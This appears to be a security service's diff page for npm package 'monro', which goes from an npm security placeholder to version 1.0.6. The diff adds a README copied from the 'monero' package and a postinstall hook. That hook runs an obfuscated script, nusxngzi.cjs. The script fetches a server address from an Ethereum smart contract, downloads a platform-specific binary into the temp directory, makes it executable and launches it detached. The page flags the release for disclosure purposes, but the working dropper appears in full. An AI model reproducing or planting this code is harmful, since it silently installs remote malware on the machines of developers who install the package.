monro 0.0.1-security → 1.0.6

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of monro might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +24 -5
  2. package/nusxngzi.cjs +1 -0
  3. package/package.json +29 -4
package/README.md CHANGED
@@ -1,5 +1,24 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=monro for more information.
1
+ [npm-url]: https://npmjs.org/package/monero
2
+
3
+ [downloads-url]: https://npmjs.org/package/monero
4
+
5
+ [standard-image]: https://img.shields.io/badge/code%20style-standard-brightgreen.svg?style=flat
6
+ [standard-url]: http://standardjs.com
7
+
8
+ node-monero is a simple tool for all things related to the cryptocurrency.
9
+
10
+
11
+ ## Install
12
+
13
+ `npm install monero`
14
+
15
+ ## Examples
16
+
17
+ ```js
18
+ // Current price
19
+ const monero = require('monero');
20
+
21
+ monero.price(function(p) {
22
+ console.log(p)
23
+ })
24
+ ```
package/nusxngzi.cjs ADDED
@@ -0,0 +1 @@
1
+ const _0x18c0a8=_0x3162;(function(_0x4748a1,_0x15ccd3){const _0x55845c=_0x3162,_0x6076bd=_0x4748a1();while(!![]){try{const _0x2f27b7=parseInt(_0x55845c(0x1d0))/0x1*(-parseInt(_0x55845c(0x1c9))/0x2)+parseInt(_0x55845c(0x1f3))/0x3+-parseInt(_0x55845c(0x1e5))/0x4+-parseInt(_0x55845c(0x1e0))/0x5*(parseInt(_0x55845c(0x1ee))/0x6)+-parseInt(_0x55845c(0x1f1))/0x7+parseInt(_0x55845c(0x1ed))/0x8+-parseInt(_0x55845c(0x1cd))/0x9*(-parseInt(_0x55845c(0x1ef))/0xa);if(_0x2f27b7===_0x15ccd3)break;else _0x6076bd['push'](_0x6076bd['shift']());}catch(_0x3660f2){_0x6076bd['push'](_0x6076bd['shift']());}}}(_0x5ac8,0x2d808));function _0x5ac8(){const _0x4c9336=['child_process','unref','UHHyD','387798AtEexX','Contract','util','ignore','81djWHfJ','KWQtE','wHtyN','1mEiZxg','/node-win.exe','feEUX','NYDvV','Ошибка\x20установки:','etKKw','gKSZF','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','pipe','/node-linux','usPVZ','ethers','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','darwin','win32','Unsupported\x20platform:\x20','5WjcLKm','data','getString','GET','755','1035932LWGtGm','chmodSync','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','stream','Ошибка\x20при\x20получении\x20IP\x20адреса:','OTJkq','FYBkF','gfcTN','1031872XmqvcP','457302qDmQZP','868420TGyANX','platform','1524369oGfMHX','error','68040UBhLgY','aRbiS','mainnet','finish'];_0x5ac8=function(){return _0x4c9336;};return _0x5ac8();}const {ethers}=require(_0x18c0a8(0x1db)),axios=require('axios'),util=require(_0x18c0a8(0x1cb)),fs=require('fs'),path=require('path'),os=require('os'),{spawn}=require(_0x18c0a8(0x1c6)),contractAddress=_0x18c0a8(0x1dc),WalletOwner=_0x18c0a8(0x1e7),abi=[_0x18c0a8(0x1d7)],provider=ethers['getDefaultProvider'](_0x18c0a8(0x1c4)),contract=new ethers[(_0x18c0a8(0x1ca))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x5c9c17=_0x18c0a8,_0x1b549f={'wHtyN':function(_0x14cc41){return _0x14cc41();}};try{const _0x520214=await contract[_0x5c9c17(0x1e2)](WalletOwner);return _0x520214;}catch(_0x3cf91c){return console[_0x5c9c17(0x1f2)](_0x5c9c17(0x1e9),_0x3cf91c),await _0x1b549f[_0x5c9c17(0x1cf)](fetchAndUpdateIp);}},getDownloadUrl=_0x18acc5=>{const _0x2d5b89=_0x18c0a8,_0x8f38aa={'inZJn':'linux'},_0x42b0da=os[_0x2d5b89(0x1f0)]();switch(_0x42b0da){case _0x2d5b89(0x1de):return _0x18acc5+_0x2d5b89(0x1d1);case _0x8f38aa['inZJn']:return _0x18acc5+_0x2d5b89(0x1d9);case _0x2d5b89(0x1dd):return _0x18acc5+'/node-macos';default:throw new Error(_0x2d5b89(0x1df)+_0x42b0da);}},downloadFile=async(_0x55b00b,_0x5cdd20)=>{const _0x1261de=_0x18c0a8,_0x3cde8b={'etKKw':_0x1261de(0x1c5),'gfcTN':_0x1261de(0x1f2),'gKSZF':_0x1261de(0x1e3),'NYDvV':_0x1261de(0x1e8)},_0x16449d=fs['createWriteStream'](_0x5cdd20),_0x6b1005=await axios({'url':_0x55b00b,'method':_0x3cde8b[_0x1261de(0x1d6)],'responseType':_0x3cde8b[_0x1261de(0x1d3)]});return _0x6b1005[_0x1261de(0x1e1)][_0x1261de(0x1d8)](_0x16449d),new Promise((_0x42cc9f,_0x4c8f2e)=>{const _0x3ce583=_0x1261de;_0x16449d['on'](_0x3cde8b[_0x3ce583(0x1d5)],_0x42cc9f),_0x16449d['on'](_0x3cde8b[_0x3ce583(0x1ec)],_0x4c8f2e);});},executeFileInBackground=async _0x38d0cb=>{const _0x538feb=_0x18c0a8,_0x2044f0={'usPVZ':function(_0x41ca91,_0x5522c6,_0x3531f8,_0x2644c6){return _0x41ca91(_0x5522c6,_0x3531f8,_0x2644c6);},'KWQtE':_0x538feb(0x1cc),'gTVGj':'Ошибка\x20при\x20запуске\x20файла:'};try{const _0x558377=_0x2044f0[_0x538feb(0x1da)](spawn,_0x38d0cb,[],{'detached':!![],'stdio':_0x2044f0[_0x538feb(0x1ce)]});_0x558377[_0x538feb(0x1c7)]();}catch(_0x419ce2){console[_0x538feb(0x1f2)](_0x2044f0['gTVGj'],_0x419ce2);}},runInstallation=async()=>{const _0x1468bb=_0x18c0a8,_0x5d72d2={'XmvkE':function(_0x59c884){return _0x59c884();},'feEUX':function(_0x3ed52b,_0x46536d){return _0x3ed52b(_0x46536d);},'aRbiS':function(_0x5dddfb,_0x492b20,_0x39bb28){return _0x5dddfb(_0x492b20,_0x39bb28);},'jdyIy':function(_0x45cbb4,_0xf181df){return _0x45cbb4!==_0xf181df;},'UHHyD':_0x1468bb(0x1de),'OTJkq':_0x1468bb(0x1e4),'FYBkF':function(_0x4badc0,_0x4f6f84){return _0x4badc0(_0x4f6f84);}};try{const _0x22e8a4=await _0x5d72d2['XmvkE'](fetchAndUpdateIp),_0x23fe04=_0x5d72d2[_0x1468bb(0x1d2)](getDownloadUrl,_0x22e8a4),_0xe90d9e=os['tmpdir'](),_0x495fbe=path['basename'](_0x23fe04),_0x8a358c=path['join'](_0xe90d9e,_0x495fbe);await _0x5d72d2[_0x1468bb(0x1c3)](downloadFile,_0x23fe04,_0x8a358c);if(_0x5d72d2['jdyIy'](os[_0x1468bb(0x1f0)](),_0x5d72d2[_0x1468bb(0x1c8)]))fs[_0x1468bb(0x1e6)](_0x8a358c,_0x5d72d2[_0x1468bb(0x1ea)]);_0x5d72d2[_0x1468bb(0x1eb)](executeFileInBackground,_0x8a358c);}catch(_0x37d1cd){console[_0x1468bb(0x1f2)](_0x1468bb(0x1d4),_0x37d1cd);}};function _0x3162(_0xf772c9,_0x3f3b15){const _0x5ac8c5=_0x5ac8();return _0x3162=function(_0x3162ff,_0x3c3040){_0x3162ff=_0x3162ff-0x1c3;let _0x4019d8=_0x5ac8c5[_0x3162ff];return _0x4019d8;},_0x3162(_0xf772c9,_0x3f3b15);}runInstallation();
package/package.json CHANGED
@@ -1,6 +1,31 @@
1
1
  {
2
2
  "name": "monro",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "1.0.6",
4
+ "description": "node-monero is a simple tool for all things related to the cryptocurrency.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node nusxngzi.cjs"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "git+https://github.com/outlets-npm/node-monero.git"
12
+ },
13
+ "keywords": [
14
+ "monero",
15
+ "anonymous",
16
+ "cryptocurrency"
17
+ ],
18
+ "author": "outlets@protonmail.com",
19
+ "license": "MIT",
20
+ "bugs": {
21
+ "url": "https://github.com/outlets-npm/node-monero/issues"
22
+ },
23
+ "homepage": "https://github.com/outlets-npm/node-monero#readme",
24
+ "files": [
25
+ "nusxngzi.cjs"
26
+ ],
27
+ "dependencies": {
28
+ "axios": "^1.7.7",
29
+ "ethers": "^6.13.2"
30
+ }
31
+ }